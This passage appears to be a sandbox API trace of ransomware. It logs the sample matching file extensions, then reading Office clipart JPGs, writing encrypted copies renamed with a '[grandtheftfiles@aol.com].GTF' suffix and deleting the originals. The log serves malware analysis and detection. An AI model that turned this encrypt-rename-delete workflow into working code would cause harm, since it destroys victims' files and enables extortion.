	[0091.562] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.562] lstrlenW (lpString=".zip") returned 4
	[0091.562] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0091.562] lstrlenW (lpString=".rar") returned 4
	[0091.562] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0091.562] lstrlenW (lpString=".bz2") returned 4
	[0091.562] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0091.563] lstrlenW (lpString=".7z") returned 3
	[0091.563] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0091.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.563] lstrlenW (lpString=".dbf") returned 4
	[0091.563] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0091.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.563] lstrlenW (lpString=".1cd") returned 4
	[0091.563] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0091.563] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099173.WMF") returned 68
	[0091.563] lstrlenW (lpString=".jpg") returned 4
	[0091.563] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0091.563] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.563] lstrlenW (lpString="J0099187.JPG") returned 12
	[0091.563] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.564] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=24528) returned 1
	[0091.564] CloseHandle (hObject=0x39c) returned 1
	[0091.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 0x220
	[0091.564] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.564] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.564] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.564] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.565] GetLastError () returned 0x0
	[0091.565] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x5fd0, lpOverlapped=0x0) returned 1
	[0091.567] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x5fe0, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x5fe0, lpOverlapped=0x0) returned 1
	[0091.568] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.568] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.568] SetEndOfFile (hFile=0x384) returned 1
	[0091.568] CloseHandle (hObject=0x384) returned 1
	[0091.568] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.568] SetEndOfFile (hFile=0x39c) returned 1
	[0091.569] CloseHandle (hObject=0x39c) returned 1
	[0091.569] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.570] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099187.jpg")) returned 1
	[0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.570] lstrlenW (lpString=".doc") returned 4
	[0091.570] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.570] lstrlenW (lpString=".docx") returned 5
	[0091.570] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0091.570] lstrlenW (lpString=".pdf") returned 4
	[0091.570] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.570] lstrlenW (lpString=".xls") returned 4
	[0091.570] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.570] lstrlenW (lpString=".xlsx") returned 5
	[0091.570] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0091.570] lstrlenW (lpString=".ppt") returned 4
	[0091.570] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.570] lstrlenW (lpString=".zip") returned 4
	[0091.570] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.570] lstrlenW (lpString=".rar") returned 4
	[0091.570] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.570] lstrlenW (lpString=".bz2") returned 4
	[0091.570] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.570] lstrlenW (lpString=".7z") returned 3
	[0091.570] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.570] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".dbf") returned 4
	[0091.571] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".1cd") returned 4
	[0091.571] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".jpg") returned 4
	[0091.571] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".doc") returned 4
	[0091.571] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.571] lstrlenW (lpString=".docx") returned 5
	[0091.571] lstrcmpiW (lpString1=".docx", lpString2="7.JPG") returned -1
	[0091.571] lstrlenW (lpString=".pdf") returned 4
	[0091.571] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.571] lstrlenW (lpString=".xls") returned 4
	[0091.571] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.571] lstrlenW (lpString=".xlsx") returned 5
	[0091.571] lstrcmpiW (lpString1=".xlsx", lpString2="7.JPG") returned -1
	[0091.571] lstrlenW (lpString=".ppt") returned 4
	[0091.571] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".zip") returned 4
	[0091.571] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.571] lstrlenW (lpString=".rar") returned 4
	[0091.571] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.571] lstrlenW (lpString=".bz2") returned 4
	[0091.571] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.571] lstrlenW (lpString=".7z") returned 3
	[0091.571] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.571] lstrlenW (lpString=".dbf") returned 4
	[0091.571] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.571] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.572] lstrlenW (lpString=".1cd") returned 4
	[0091.572] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.572] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099187.JPG") returned 68
	[0091.572] lstrlenW (lpString=".jpg") returned 4
	[0091.572] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.572] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.572] lstrlenW (lpString="J0099188.JPG") returned 12
	[0091.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.572] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=9080) returned 1
	[0091.572] CloseHandle (hObject=0x39c) returned 1
	[0091.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 0x220
	[0091.572] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.572] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.573] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.573] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.573] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.573] GetLastError () returned 0x0
	[0091.573] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x2378, lpOverlapped=0x0) returned 1
	[0091.575] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x2380, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x2380, lpOverlapped=0x0) returned 1
	[0091.576] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.576] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.576] SetEndOfFile (hFile=0x384) returned 1
	[0091.576] CloseHandle (hObject=0x384) returned 1
	[0091.576] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.576] SetEndOfFile (hFile=0x39c) returned 1
	[0091.577] CloseHandle (hObject=0x39c) returned 1
	[0091.577] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.577] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099188.jpg")) returned 1
	[0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.577] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.577] lstrlenW (lpString=".doc") returned 4
	[0091.577] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.578] lstrlenW (lpString=".docx") returned 5
	[0091.578] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0091.578] lstrlenW (lpString=".pdf") returned 4
	[0091.578] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.578] lstrlenW (lpString=".xls") returned 4
	[0091.578] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.578] lstrlenW (lpString=".xlsx") returned 5
	[0091.578] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0091.578] lstrlenW (lpString=".ppt") returned 4
	[0091.578] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString=".zip") returned 4
	[0091.578] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.578] lstrlenW (lpString=".rar") returned 4
	[0091.578] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.578] lstrlenW (lpString=".bz2") returned 4
	[0091.578] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.578] lstrlenW (lpString=".7z") returned 3
	[0091.578] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString=".dbf") returned 4
	[0091.578] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString=".1cd") returned 4
	[0091.578] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString=".jpg") returned 4
	[0091.578] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.578] lstrlenW (lpString=".doc") returned 4
	[0091.578] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.578] lstrlenW (lpString=".docx") returned 5
	[0091.578] lstrcmpiW (lpString1=".docx", lpString2="8.JPG") returned -1
	[0091.578] lstrlenW (lpString=".pdf") returned 4
	[0091.579] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.579] lstrlenW (lpString=".xls") returned 4
	[0091.579] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.579] lstrlenW (lpString=".xlsx") returned 5
	[0091.579] lstrcmpiW (lpString1=".xlsx", lpString2="8.JPG") returned -1
	[0091.579] lstrlenW (lpString=".ppt") returned 4
	[0091.579] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.579] lstrlenW (lpString=".zip") returned 4
	[0091.579] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.579] lstrlenW (lpString=".rar") returned 4
	[0091.579] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.579] lstrlenW (lpString=".bz2") returned 4
	[0091.579] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.579] lstrlenW (lpString=".7z") returned 3
	[0091.579] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.579] lstrlenW (lpString=".dbf") returned 4
	[0091.579] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.579] lstrlenW (lpString=".1cd") returned 4
	[0091.579] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.579] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099188.JPG") returned 68
	[0091.579] lstrlenW (lpString=".jpg") returned 4
	[0091.579] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.579] lstrcmpiW (lpString1=".JPG", lpString2=".GTF") returned 1
	[0091.579] lstrlenW (lpString="J0099189.JPG") returned 12
	[0091.579] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.580] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x2c1ff14 | out: lpFileSize=0x2c1ff14*=8076) returned 1
	[0091.580] CloseHandle (hObject=0x39c) returned 1
	[0091.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 0x220
	[0091.580] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0091.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c
	[0091.580] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.580] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.580] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384
	[0091.580] GetLastError () returned 0x0
	[0091.580] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x1f8c, lpOverlapped=0x0) returned 1
	[0091.582] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0x1f90, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0x1f90, lpOverlapped=0x0) returned 1
	[0091.583] ReadFile (in: hFile=0x39c, lpBuffer=0x30c0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c1fecc, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesRead=0x2c1fecc*=0x0, lpOverlapped=0x0) returned 1
	[0091.583] WriteFile (in: hFile=0x384, lpBuffer=0x30c0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c1fc94, lpOverlapped=0x0 | out: lpBuffer=0x30c0020*, lpNumberOfBytesWritten=0x2c1fc94*=0xec, lpOverlapped=0x0) returned 1
	[0091.583] SetEndOfFile (hFile=0x384) returned 1
	[0091.583] CloseHandle (hObject=0x384) returned 1
	[0091.584] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c1fec0 | out: lpNewFilePointer=0x0) returned 1
	[0091.584] SetEndOfFile (hFile=0x39c) returned 1
	[0091.584] CloseHandle (hObject=0x39c) returned 1
	[0091.585] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0091.585] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0099189.jpg")) returned 1
	[0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.585] lstrlenW (lpString=".doc") returned 4
	[0091.585] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.585] lstrlenW (lpString=".docx") returned 5
	[0091.585] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0091.585] lstrlenW (lpString=".pdf") returned 4
	[0091.585] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.585] lstrlenW (lpString=".xls") returned 4
	[0091.585] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.585] lstrlenW (lpString=".xlsx") returned 5
	[0091.585] lstrcmpiW (lpString1=".xlsx", lpString2="9.JPG") returned -1
	[0091.585] lstrlenW (lpString=".ppt") returned 4
	[0091.585] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1
	[0091.585] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.585] lstrlenW (lpString=".zip") returned 4
	[0091.585] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1
	[0091.585] lstrlenW (lpString=".rar") returned 4
	[0091.585] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1
	[0091.585] lstrlenW (lpString=".bz2") returned 4
	[0091.586] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1
	[0091.586] lstrlenW (lpString=".7z") returned 3
	[0091.586] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString=".dbf") returned 4
	[0091.586] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString=".1cd") returned 4
	[0091.586] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString=".jpg") returned 4
	[0091.586] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0099189.JPG") returned 68
	[0091.586] lstrlenW (lpString=".doc") returned 4
	[0091.586] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1
	[0091.586] lstrlenW (lpString=".docx") returned 5
	[0091.586] lstrcmpiW (lpString1=".docx", lpString2="9.JPG") returned -1
	[0091.586] lstrlenW (lpString=".pdf") returned 4
	[0091.586] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1
	[0091.586] lstrlenW (lpString=".xls") returned 4
	[0091.586] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1
	[0091.586] lstrlenW (lpString=".xlsx") returned 5
